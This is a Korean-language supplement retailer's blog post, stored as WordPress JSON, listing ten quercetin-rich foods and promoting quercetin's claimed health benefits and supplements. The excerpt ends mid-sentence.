{"id":3848,"date":"2023-12-05T16:16:37","date_gmt":"2023-12-05T08:16:37","guid":{"rendered":"https:\/\/www.backvita.com\/?p=3848"},"modified":"2024-04-13T00:09:11","modified_gmt":"2024-04-12T16:09:11","slug":"10-quercetin-rich-foods","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ko\/\ucf00\ub974\uc138\ud2f4\uc774-\ud48d\ubd80\ud55c-\uc2dd\ud488-10\uac00\uc9c0\/","title":{"rendered":"\ucf00\ub974\uc138\ud2f4\uc774 \ud48d\ubd80\ud55c \uc2dd\ud488 10\uac00\uc9c0!"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-0d01701\" data-block-id=\"0d01701\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3532\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp\" width=\"810\" height=\"455\" alt=\"\uc0c1\uc0c1\uc744 \ub6f0\uc5b4\ub118\ub294 \ucf00\ub974\uc138\ud2f4\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp 810w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-300x169.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-768x431.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-600x337.webp 600w\" sizes=\"(max-width: 810px) 100vw, 810px\" \/><\/figure><\/div>\n\n\n\n<p>\"\ud558\ub8e8 \uc0ac\uacfc \ud55c \uac1c\uac00 \uc758\uc0ac\ub97c \uba40\ub9ac\ud55c\ub2e4\"\ub294 \uac74\uac15 \uc0c1\uc2dd\uc744 \ub4e4\uc5b4\ubcf8 \uc801\uc774 \uc788\uc744 \ud150\ub370\uc694, \uadf8 \uc774\uc720\ub97c \uc54c\uace0 \uacc4\uc2e0\uac00\uc694? \uc0ac\uacfc\ub294 \uc12c\uc720\uc9c8\uacfc \ube44\ud0c0\ubbfc\uc758 \ud6cc\ub96d\ud55c \uacf5\uae09\uc6d0\uc77c \ubfd0\ub9cc \uc544\ub2c8\ub77c \ucf00\ub974\uc138\ud2f4\uacfc \uac19\uc740 \uac74\uac15 \uc99d\uc9c4 \ud3f4\ub9ac\ud398\ub180\uc758 \ud6cc\ub96d\ud55c \uacf5\uae09\uc6d0\uc774\uae30\ub3c4 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc544\uc9c1 \ub4e4\uc5b4\ubcf4\uc9c0 \ubabb\ud588\ub2e4\uba74 <a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/sophora-japonica-extract-quercetin\/\">\ucf00\ub974\uc138\ud2f4<\/a>\uc544\uc5f0\uacfc \ube44\ud0c0\ubbfc C\uc640 D\ub294 \uc885\uc885 \uba74\uc5ed \uac74\uac15\uc744 \uc9c0\uc6d0\ud558\ub294 \ub370 \uc911\uc694\ud55c \uc5ed\ud560\uc744 \ud569\ub2c8\ub2e4. \ucf00\ub974\uc138\ud2f4\uc740 \uc0dd\uc18c\ud55c \uc774\ub984\uc5d0\ub3c4 \ubd88\uad6c\ud558\uace0 \uc2dd\ub2e8\uc5d0\uc11c \uac00\uc7a5 \uacfc\uc18c\ud3c9\uac00\ub41c \uc601\uc591\uc18c\uc77c \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ucf00\ub974\uc138\ud2f4\uc758 \ud6a8\ub2a5\uc740 \uc2e0\uccb4\uc758 \uc790\uc5f0 \ubc29\uc5b4\ub825\uc744 \uac15\ud654\ud558\ub294 \uac83 \uadf8 \uc774\uc0c1\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uadf8\ub807\ub2e4\uba74 \ucf00\ub974\uc138\ud2f4\uc740 \ubb34\uc5c7\uc774\uba70 \uc0ac\uacfc \uc678\uc5d0 \uc5b4\ub5a4 \uc2dd\ud488\uc5d0 \ud568\uc720\ub418\uc5b4 \uc788\uc744\uae4c\uc694?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ubb34\uc5c7 <a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/sophora-japonica-extract-quercetin\/\">\ucf00\ub974\uc138\ud2f4<\/a>?<\/h2>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\uc740 \ub2e4\uc591\ud55c \uc2dd\ubb3c \uc0c9\uc18c\uc758 \uae30\ucd08\ub97c \ud615\uc131\ud558\ub294 \ud3f4\ub9ac\ud398\ub180\uc778 \uc2dd\uc774 \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc\ub77c\uace0 \ud558\ub294 \uc2dd\ubb3c \ud654\ud569\ubb3c \uadf8\ub8f9\uc5d0 \uc18d\ud569\ub2c8\ub2e4. \uadf8\ub807\uae30 \ub54c\ubb38\uc5d0 \"\ubb34\uc9c0\uac1c\ub97c \uba39\uc73c\ub77c\"\ub294 \uc870\uc5b8\uc744 \ud56d\uc0c1 \ub4e3\uac8c \ub418\ub294\ub370, \uac74\uac15\uc744 \uc99d\uc9c4\ud558\ub294 \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc\uac00 \ud568\uc720\ub41c \ubc1d\uc740 \uc0c9\uc758 \uacfc\uc77c\uacfc \ucc44\uc18c\ub97c \uc12d\ucde8\ud558\ub294 \uac83\uc774 \uc88b\uc2b5\ub2c8\ub2e4. \ud558\uc9c0\ub9cc \ucf00\ub974\uc138\ud2f4\uc740 \ub3c5\ud2b9\ud558\uace0 \uc720\uc775\ud55c \uc0dd\ubb3c\ud559\uc801 \ud2b9\uc131\uc744 \ub9ce\uc774 \uac00\uc9c0\uace0 \uc788\uae30 \ub54c\ubb38\uc5d0 \ub2e4\ub978 \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc \uc911\uc5d0\uc11c\ub3c4 \ud2b9\ud788 \ub450\ub4dc\ub7ec\uc9d1\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\uc740 \ube44\ud0c0\ubbfc C\uc640 \ub9c8\ucc2c\uac00\uc9c0\ub85c \ud56d\uc0b0\ud654\uc81c\ub85c\uc11c \uc0b0\ud654 \uc2a4\ud2b8\ub808\uc2a4\ub97c \uc720\ubc1c\ud560 \uc218 \uc788\ub294 \uc790\uc720 \ub77c\ub514\uce7c\uc744 \ubc29\uc5b4\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4. \uac74\uac15\uc744 \uc720\uc9c0\ud558\uae30 \uc704\ud574 \uc6b0\ub9ac \ubaa8\ub450\uc5d0\uac8c \ud544\uc694\ud55c \uac83\uc774 \uc788\ub2e4\uba74 \ubc14\ub85c \ud65c\uc131\uc0b0\uc18c\uc785\ub2c8\ub2e4!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">5\uac00\uc9c0 \uc774\uc810 <a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/sophora-japonica-extract-quercetin\/\">\ucf00\ub974\uc138\ud2f4<\/a><\/h2>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\uc740 \uad6c\uccb4\uc801\uc73c\ub85c \uc5b4\ub5bb\uac8c \uac74\uac15\uc5d0 \ub3c4\uc6c0\uc774 \ub420\uae4c\uc694? \uc774 \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc\uac00 \uba38\ub9ac\ubd80\ud130 \ubc1c\ub05d\uae4c\uc9c0 \uac74\uac15\uc5d0 \ub3c4\uc6c0\uc744 \uc8fc\ub294 5\uac00\uc9c0 \uc911\uc694\ud55c \ubc29\ubc95\uc744 \uc18c\uac1c\ud569\ub2c8\ub2e4:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\uac74\uac15\ud55c \uba74\uc5ed \uccb4\uacc4<\/strong><\/h3>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\uc740 \uba74\uc5ed \uc9c0\uc6d0 \ubcf4\ucda9\uc81c \ubaa9\ub85d\uc5d0 \ud655\uc2e4\ud788 \uc18d\ud558\ub294 \ud56d\uc0b0\ud654\uc81c\uc785\ub2c8\ub2e4. \ub300\uaddc\ubaa8 \ubb34\uc791\uc704 \ub300\uc870 \uc2dc\ud5d8\uc5d0\uc11c \ud018\ub974\uc138\ud2f4\uc744 12\uc8fc \ub3d9\uc548(\ud558\ub8e8 1000mg) \ubcf5\uc6a9\ud55c \uacb0\uacfc, \uc704\uc57d\uc5d0 \ube44\ud574 \uc0c1\uae30\ub3c4\uc640 \uad00\ub828\ub41c \uba74\uc5ed \ubb38\uc81c\ub97c \uacbd\ud5d8\ud558\ub294 \ub0a0\uc774 \uc904\uc5b4\ub4dc\ub294 \ub4f1 \uc720\uc775\ud55c \ud6a8\uacfc\uac00 \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\uac74\uac15\ud55c \uc5fc\uc99d \ubc18\uc751 \ucd09\uc9c4<\/strong><\/h3>\n\n\n\n<p>- \uc5fc\uc99d\uc740 \uc778\uac04 \uacbd\ud5d8\uc758 \uc815\uc0c1\uc801\uc778 \ubd80\ubd84\uc774\uba70, \uc911\uc694\ud55c \uac83\uc740 \uc2e0\uccb4\uac00 \uac74\uac15\ud55c \ubc29\uc2dd\uc73c\ub85c \ubc18\uc751\ud558\ub294\uc9c0\uc758 \uc5ec\ubd80\uc785\ub2c8\ub2e4... \ud018\ub974\uc138\ud2f4\uc740 \uc774\ub97c \ucd09\uc9c4\ud558\ub294 \uac83\uc73c\ub85c \ubcf4\uc785\ub2c8\ub2e4. \uc784\uc0c1\uc2dc\ud5d8\uc758 \uba54\ud0c0 \ubd84\uc11d\uc5d0 \ub530\ub974\uba74, \ud018\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub97c \uc12d\ucde8\ud55c \ud558\uc704 \uadf8\ub8f9\uc740 C-\ubc18\uc751\uc131 \ub2e8\ubc31\uc9c8\uacfc \uac19\uc740 \uc0ac\uc774\ud1a0\uce74\uc778 \uc218\uce58\ub97c \uac74\uac15\ud558\uac8c \uc720\uc9c0\ud558\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\uac74\uac15\ud55c \uc138\ud3ec<\/strong><\/h3>\n\n\n\n<p>- \ub178\ud654 \uc138\ud3ec\ub294 \ub178\ud654\uc640 \ud568\uaed8 \ucd95\uc801\ub418\ub294 \uc624\ub798\ub41c \uc138\ud3ec\uc785\ub2c8\ub2e4. \ucf00\ub974\uc138\ud2f4\uc740 \uc774\ub7ec\ud55c \ubd88\ud544\uc694\ud55c \uc138\ud3ec\ub97c \uc81c\uac70\ud558\uc5ec \uac74\uac15\ud558\uace0 \uc80a\uace0 \uae30\ub2a5\uc801\uc778 \uc138\ud3ec\uac00 \uacc4\uc18d \ud65c\ub3d9\ud560 \uc218 \uc788\ub3c4\ub85d \ub3d5\ub294 \ub178\ud654 \ubc29\uc9c0 \uc57d\ubb3c\ub85c \uc810\uc810 \ub354 \ub9ce\uc740 \uc8fc\ubaa9\uc744 \ubc1b\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\uc774\ubbf8 \uac74\uac15\ud55c \ud608\uc555 \uc720\uc9c0<\/strong><\/h3>\n\n\n\n<p>\uc784\uc0c1 \uc2dc\ud5d8\uc758 \uba54\ud0c0 \ubd84\uc11d\uc5d0 \ub530\ub974\uba74 \ud018\ub974\uc138\ud2f4\uc744 500mg \uc774\uc0c1 \ubcf4\ucda9\ud558\uba74 \ud608\uc555\uc744 \uac74\uac15\ud55c \ubc94\uc704 \ub0b4\uc5d0\uc11c \uc720\uc9c0\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub418\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\uc774\ubbf8 \uac74\uac15\ud55c \ud608\ub2f9 \uc9c0\uc6d0<\/strong><\/h3>\n\n\n\n<p>\ub610 \ub2e4\ub978 \uc5f0\uad6c\uc5d0\uc11c\ub294 \ub3d9\uc77c\ud55c \uc6a9\ub7c9\uc758 \ucf00\ub974\uc138\ud2f4\uc774 \uc774\ubbf8 \uac74\uac15\ud55c \ud608\ub2f9 \uc218\uce58\uc5d0\ub3c4 \ub3c4\uc6c0\uc774 \ub41c\ub2e4\ub294 \uc0ac\uc2e4\uc774 \ubc1d\ud600\uc84c\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">10 <a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/sophora-japonica-extract-quercetin\/\">\ucf00\ub974\uc138\ud2f4<\/a> \ud48d\ubd80\ud55c \uc74c\uc2dd<\/h2>\n\n\n\n<p>\uc774\uc81c \ucf00\ub974\uc138\ud2f4\uc774 \uc5bc\ub9c8\ub098 \ub9ce\uc740 \uac74\uac15\uc0c1\uc758 \uc774\uc810\uc744 \uc81c\uacf5\ud560 \uc218 \uc788\ub294\uc9c0 \uc54c\uc558\uc73c\ub2c8, \uc774\uc81c \ubb38\uc81c\ub294 \uc5b4\ub5bb\uac8c \ud558\uba74 \uc774 \uc2dd\uc774 \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc\ub97c \ub354 \ub9ce\uc774 \uc12d\ucde8\ud560 \uc218 \uc788\uc744\uae4c\uc694? \uc544\ub798 \uc2dd\ud488 \ubaa9\ub85d\uc744 \ud655\uc778\ud558\uc5ec \uc6b0\ub9ac\uac00 \uc0dd\uac01\ud560 \uc218 \uc788\ub294 \uac00\uc7a5 \uacfc\uc18c\ud3c9\uac00\ub41c \uc601\uc591\uc18c\uc758 \uc12d\ucde8\ub7c9\uc744 \ub298\ub9b4 \uc218 \uc788\ub294 \uba87 \uac00\uc9c0 \ub9db\uc788\ub294 \ubc29\ubc95\uc744 \ucc3e\uc544\ubcf4\uc138\uc694! (\ub18d\uc0b0\ubb3c\uacfc \ub9c8\ucc2c\uac00\uc9c0\ub85c 1\ud68c \uc81c\uacf5\ub7c9\ub2f9 \uc601\uc591\uc18c \ud568\ub7c9\uc740 \uc791\ubb3c\ub9c8\ub2e4 \ub2e4\ub97c \uc218 \uc788\uc2b5\ub2c8\ub2e4.)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Apple<\/strong><\/h3>\n\n\n\n<p>- 100g\ub2f9 5mg(\uc0ac\uacfc \ubc18 \uac1c \uc815\ub3c4). \uc0ac\uacfc\ub294 \uc544\ub9c8\ub3c4 \uac00\uc7a5 \ud754\ud55c \uc2dd\ud488\uc774\uc790 \ud018\ub974\uc138\ud2f4\uc758 \uc88b\uc740 \uacf5\uae09\uc6d0\uc77c \uac83\uc785\ub2c8\ub2e4. (\uadf8\ub9ac\uace0 \ub300\ubd80\ubd84\uc758 \uc0ac\ub78c\ub4e4\uc774 \uc774\ubbf8 \uc2dd\ub2e8\uc5d0 \ud3ec\ud568\ub418\uc5b4 \uc788\ub294 \uc2dd\ud488\uc774 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ac\uacfc\uc785\ub2c8\ub2e4!).<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\ubca0\ub9ac<\/strong><\/h3>\n\n\n\n<p>\ud488\uc885\uc5d0 \ub530\ub77c \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc\uac00 \ud48d\ubd80\ud55c \ud06c\ub79c\ubca0\ub9ac\ub294 100g\ub2f9 22mg, \ube14\ub8e8\ubca0\ub9ac\ub294 100g\ub2f9 7~14mg(\ub300\ub7b5 \ud55c \ucef5\uc5d0 \ud574\ub2f9)\uc758 \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc\uac00 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4. \ubca0\ub9ac\ub294 \ub610\ud55c \ud56d\uc0b0\ud654\uc81c\uc785\ub2c8\ub2e4(\ud65c\uc131\uc0b0\uc18c\ub97c \uc870\uc2ec\ud558\uc138\uc694!). \ub610\ud55c \uc548\ud1a0\uc2dc\uc544\ub2cc\uc774\ub77c\ub294 \ud3f4\ub9ac\ud398\ub180\uc758 \ud6cc\ub96d\ud55c \uacf5\uae09\uc6d0\uc73c\ub85c \ub2e4\uc591\ud55c \uac74\uac15\uc0c1\uc758 \uc774\uc810\uc774 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\ub2e4\ud06c \ud3ec\ub3c4<\/strong><\/h3>\n\n\n\n<p>- 100g\ub2f9 3mg(\uc77c\ubc18\uc801\uc778 \ubc88\ub4e4). \uc774 \uacfc\uc77c\uc740 \ub2e4\uc591\ud55c \ud3f4\ub9ac\ud398\ub180, \ud2b9\ud788 \ub178\ud654 \ubc29\uc9c0 \uacbd\ub85c\ub97c \ud45c\uc801\uc73c\ub85c \ud560 \uc218 \uc788\ub294 \ub808\uc2a4\ubca0\ub77c\ud2b8\ub864\uc758 \ud6cc\ub96d\ud55c \uacf5\uae09\uc6d0\uc785\ub2c8\ub2e4. \ub808\ub4dc \uc640\uc778 100ml\ub2f9 \uc57d 3mg\uc758 \ucf00\ub974\uc138\ud2f4\uc774 \ud568\uc720\ub418\uc5b4 \uc788\ub294\ub370, \uc774\ub294 \ubc18 \ucef5\uc5d0 \uc57d\uac04 \ubabb \ubbf8\uce58\ub294 \uc591\uc785\ub2c8\ub2e4. \uadf8\ub7ec\ub098 \uc26c\ub77c\uc988\uc5d0\ub294 \ub354 \ub192\uc740 \uc218\uce58\uac00 \ud568\uc720\ub418\uc5b4 \uc788\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uccad\ud3ec\ub3c4\ub85c \ub9cc\ub4e0 \ud654\uc774\ud2b8 \uc640\uc778\uc740 \ub808\ub4dc \uc640\uc778\ubcf4\ub2e4 \ud3c9\uade0\uc801\uc73c\ub85c \ud3f4\ub9ac\ud398\ub180(\ucf00\ub974\uc138\ud2f4 \ud3ec\ud568)\uc774 \ub354 \uc801\uac8c \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\uc801\uc591\ud30c<\/strong><\/h3>\n\n\n\n<p>- 100g\ub2f9 39mg(\uc791\uc740 \uc591\ud30c 1\uac1c \uc815\ub3c4). \ubaa8\ub4e0 \uc591\ud30c\uc5d0\ub294 \ucf00\ub974\uc138\ud2f4\uc774 \ud568\uc720\ub418\uc5b4 \uc788\uc9c0\ub9cc, \ubd89\uc740 \uc591\ud30c\ub294 \uc0c9\uc18c \ub54c\ubb38\uc5d0 \ucf00\ub974\uc138\ud2f4\uc744 \ud3ec\ud568\ud55c \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc \ud568\ub7c9\uc774 \uac00\uc7a5 \ub192\uc2b5\ub2c8\ub2e4. \uc870\ub9ac \ubc29\ubc95\uc5d0 \ub530\ub77c \ud018\ub974\uc138\ud2f4 \ud568\ub7c9\uc774 \uac10\uc18c\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ub530\ub77c\uc11c \uc774 \ub9e4\uc6b4 \ucc44\uc18c\uc5d0\uc11c \ud50c\ub77c\ubcf4\ub178\uc774\ub4dc\ub97c \ucd5c\ub300\ud55c \uc12d\ucde8\ud558\ub824\uba74 \ub053\uc774\uac70\ub098 \ud280\uae30\uc9c0 \ub9c8\uc138\uc694.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\ube0c\ub85c\ucf5c\ub9ac(\uc0dd)<\/strong><\/h3>\n\n\n\n<p>- 100g\ub2f9 3mg(\uc791\uc740 \uadf8\ub987). \ube0c\ub85c\ucf5c\ub9ac\uc640 \uae30\ud0c0 \uc2ed\uc790\ud654\uacfc \ucc44\uc18c\ub294 \uc124\ud3ec\ub77c\ud310\uacfc \uc778\ub3cc-3-\uba54\ud0c4\uc62c\uacfc \uac19\uc740 \uc138\ud3ec \uac74\uac15\uc744 \uc99d\uc9c4\ud558\ub294 \ud654\ud569\ubb3c\uc744 \ud568\uc720\ud558\uace0 \uc788\uc744 \ubfd0\ub9cc \uc544\ub2c8\ub77c \ube44\ud0c0\ubbfc\uacfc \ubbf8\ub124\ub784\uc774 \ud48d\ubd80\ud558\uac8c \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4. \ub610\ud55c \ud56d\uc0b0\ud654 \ubb3c\uc9c8\uc758 \uc88b\uc740 \uacf5\uae09\uc6d0\uc774\uae30\ub3c4 \ud558\ubbc0\ub85c \uc2dd\ub2e8\uc5d0 \ucd94\uac00\ud574\uc57c \ud560 \uc774\uc720\uac00 \ub354 \ub9ce\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Kale<\/strong><\/h3>\n\n\n\n<p>- 100g\ub2f9 8mg(\uc57d 1\ucef5). \ucf00\uc77c\uc740 \ube0c\ub85c\ucf5c\ub9ac\uc640 \ub9c8\ucc2c\uac00\uc9c0\ub85c \uc138\ud3ec \uac74\uac15\uc5d0 \ub3c4\uc6c0\uc774 \ub418\ub294 \uc78e\uc774 \ub9ce\uc740 \ub179\uc0c9 \ucc44\uc18c\uc785\ub2c8\ub2e4. \ub610\ud55c \ucf00\uc77c\uc740 \ub9dd\ub9c9\uc5d0 \uc9d1\uc911\ub418\uc5b4 \uac74\uac15\ud55c \uc2dc\ub825\uc744 \uc9c0\uc6d0\ud558\ub294 \uce74\ub85c\ud2f0\ub178\uc774\ub4dc \ub8e8\ud14c\uc778\uacfc \uc81c\uc544\uc794\ud2f4\uc758 \ud6cc\ub96d\ud55c \uacf5\uae09\uc6d0\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\uc758 \ub2e4\ub978 \uc2dd\ud488 \uacf5\uae09\uc6d0<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\ucf00\uc774 \ud37c<\/strong><\/h3>\n\n\n\n<p>- 100g\ub2f9 365mg(\ubcf4\ud1b5 2~3\uc778\ubd84)\uc758 \ucf00\uc774\ud37c\ub294 \uadf8\ub7a8\ub2f9 \ud018\ub974\uc138\ud2f4\uc774 \uac00\uc7a5 \ud48d\ubd80\ud55c \uc2dd\ud488\uc785\ub2c8\ub2e4! \ucf00\uc774\ud37c\ub294 \ucf00\uc774\ud37c\uc758 \uaf43\uc774 \ud53c\uae30 \uc804\uc758 \uc0c8\uc2f9\uc785\ub2c8\ub2e4. \ucf00\uc774\ud37c\ub294 \uc77c\ubc18\uc801\uc73c\ub85c \uc0d0\ub7ec\ub4dc\ub098 \uc5f0\uc5b4 \uc694\ub9ac\uc5d0 \uc870\ubbf8\ub8cc\ub85c \ub9ce\uc774 \uc0ac\uc6a9\ub429\ub2c8\ub2e4. \ucf00\uc774\ud37c\ub294 \ud604\uc7ac \ubbf8\uad6d\uc5d0\uc11c \ub300\uc911\uc801\uc778 \uc2dd\ud488\uc740 \uc544\ub2c8\uc9c0\ub9cc \uc288\ud37c\ud478\ub4dc\ub85c \uac04\uc8fc\ub418\uc5b4 \ub354 \ub9ce\uc740 \uad00\uc2ec\uc744 \ubd88\ub7ec\uc77c\uc73c\ud0a4\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\ub51c<\/strong><\/h3>\n\n\n\n<p>- 100g\ub2f9 55mg (\ubcf4\ud1b5 2-3\uc778\ubd84 \ud544\uc694) \uc774 \ud5c8\ube0c\ub294 \ud30c\uc2ac\ub9ac, \uc140\ub7ec\ub9ac\uc640 \uac19\uc740 \uacfc\uc5d0 \uc18d\ud558\uc9c0\ub9cc \uae43\ud138 \uac19\uc740 \uc9c8\uac10\uc744 \uac00\uc9c0\uace0 \uc788\uc2b5\ub2c8\ub2e4. \ub9db\ubfd0\ub9cc \uc544\ub2c8\ub77c \uae30\ubd84 \uc88b\uc740 \ud5a5\uae30\ub97c \ub0b4\uae30 \uc704\ud574 \uc7a5\uc2dd\uc6a9\uc73c\ub85c\ub3c4 \uc0ac\uc6a9\ud558\uc138\uc694.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\uba54\ubc00<\/strong><\/h3>\n\n\n\n<p>- 100g\ub2f9 \ucd5c\ub300 36mg(\uc57d \ud55c \ucef5). \uba54\ubc00\uc740 \ucf00\ub974\uc138\ud2f4 \uc12d\ucde8\ub7c9\uc744 \ub298\ub9ac\ub294 \uc88b\uc740 \ubc29\ubc95\uc77c \ubfd0\ub9cc \uc544\ub2c8\ub77c \uae00\ub8e8\ud150 \uc2dd\ud488\uc744 \uba39\uc9c0 \uc54a\ub294\ub2e4\uba74 \ubc00\uc744 \ub300\uccb4\ud560 \uc218 \uc788\ub294 \ud6cc\ub96d\ud55c \uc2dd\ud488\uc774\uae30\ub3c4 \ud569\ub2c8\ub2e4. (\"\ubc00\"\uc774\ub77c\ub294 \ub2e8\uc5b4\uac00 \uc788\uc744 \uc218 \uc788\uc9c0\ub9cc \uc18d\uc9c0 \ub9c8\uc138\uc694!) \uba54\ubc00\uc740 \uc74c\uc2dd \uadf8\ub987\uc744 \uc11e\uc744 \ub54c \ubca0\uc774\uc2a4\ub85c\ub3c4 \uc798 \uc5b4\uc6b8\ub9bd\ub2c8\ub2e4. \uc9ed\uc9e4\ud55c \uc74c\uc2dd\uc774 \uba39\uace0 \uc2f6\ub2e4\uba74 \ub2e4\ub978 \uc2dd\ubb3c\uc131 \uc2dd\ud488\uc744 \ubcf6\uac70\ub098 \ubca0\ub9ac\ub958\ub098 \uae30\ud0c0 \uc2e0\uc120\ud55c \uacfc\uc77c\ucc98\ub7fc \ucf00\ub974\uc138\ud2f4\uc774 \ud48d\ubd80\ud55c \ub2ec\ucf64\ud55c \uc2dd\ud488\uc744 \ucd94\uac00\ud558\uc5ec \uc544\uce68\uc5d0 \uc77c\uc5b4\ub098\uc11c \uba39\uc744 \uc218 \uc788\ub294 \uc8fd\uc744 \ub9cc\ub4e4\uc5b4 \ubcf4\uc138\uc694.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\ub179\ucc28<\/strong><\/h3>\n\n\n\n<p>- 100ml\ub2f9 2.63mg(\ubc18 \ucef5 \ubbf8\ub9cc). \ub179\ucc28\ub294 \ub610\ud55c \ucf5c\ub808\uc2a4\ud14c\ub864\uacfc \ud3ec\ub3c4\ub2f9 \uc218\uce58\ub97c \uc815\uc0c1 \ubc94\uc704\ub85c \uc720\uc9c0\ud558\uace0 \ub1cc\uc640 \uc2e0\uacbd \uac74\uac15\uc744 \uc9c0\uc6d0\ud558\uba70 \uad11\ubc94\uc704\ud55c \uc138\ud3ec \uac74\uac15\uc744 \uc9c0\uc6d0\ud558\ub294 EGCG\ub77c\ub294 \ud3f4\ub9ac\ud398\ub180\uc744 \ub2e4\ub7c9 \ud568\uc720\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4. \uc544\uc9c1 \ud655\uc2e0\uc774 \uc11c\uc9c0 \uc54a\ub294\ub2e4\uba74 \ub179\ucc28\uc5d0\ub3c4 \ub6f0\uc5b4\ub09c \ud56d\uc0b0\ud654 \uc131\ubd84\uc774 \uc788\uc73c\ub2c8 \ub9c8\uc154\ubcf4\uc138\uc694!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc2dd\ub2e8\uc744 \ud1b5\ud574 \ud018\ub974\uc138\ud2f4\uc744 \ucda9\ubd84\ud788 \uc12d\ucde8\ud560 \uc218 \uc788\ub098\uc694?<\/h2>\n\n\n\n<p>\ud3c9\uade0\uc801\uc73c\ub85c \ubbf8\uad6d\uc778\uc758 \uc2dd\ub2e8\uc5d0\ub294 \ud558\ub8e8\uc5d0 \uc57d 6~18mg\uc758 \ucf00\ub974\uc138\ud2f4\ub9cc \ud3ec\ud568\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4. \ucf00\ub974\uc138\ud2f4\uc774 \ud48d\ubd80\ud55c \uc2dd\ud488\uc744 \ub354 \ub9ce\uc774 \uc12d\ucde8\ud558\uba74 \ud3c9\uade0 \uc12d\ucde8\ub7c9\uc744 \ucd08\uacfc\ud558\uace0 \ud56d\uc0b0\ud654 \uc131\ubd84\uc73c\ub85c \uc778\ud55c \ucd94\uac00\uc801\uc778 \uac74\uac15\uc0c1\uc758 \uc774\uc810\uc744 \uc5bb\uc744 \uc218 \uc788\uc9c0\ub9cc, \ud6a8\uacfc\ub97c \uadf9\ub300\ud654\ud558\ub824\uba74 \uc784\uc0c1\uc801\uc73c\ub85c \uc5f0\uad6c\ub41c \uc6a9\ub7c9\uacfc \uc804\ub2ec\ub825\uc744 \uc81c\uacf5\ud558\ub294 \uc88b\uc740 \ucf00\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub97c \uc12d\ucde8\ud558\ub294 \uac83\uc774 \uc88b\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc591\uc9c8\uc758 \ud018\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub97c \uace0\ub974\ub294 \ubc29\ubc95\uc740?<\/h2>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4 \uc790\uccb4\ub294 \uc0dd\uccb4 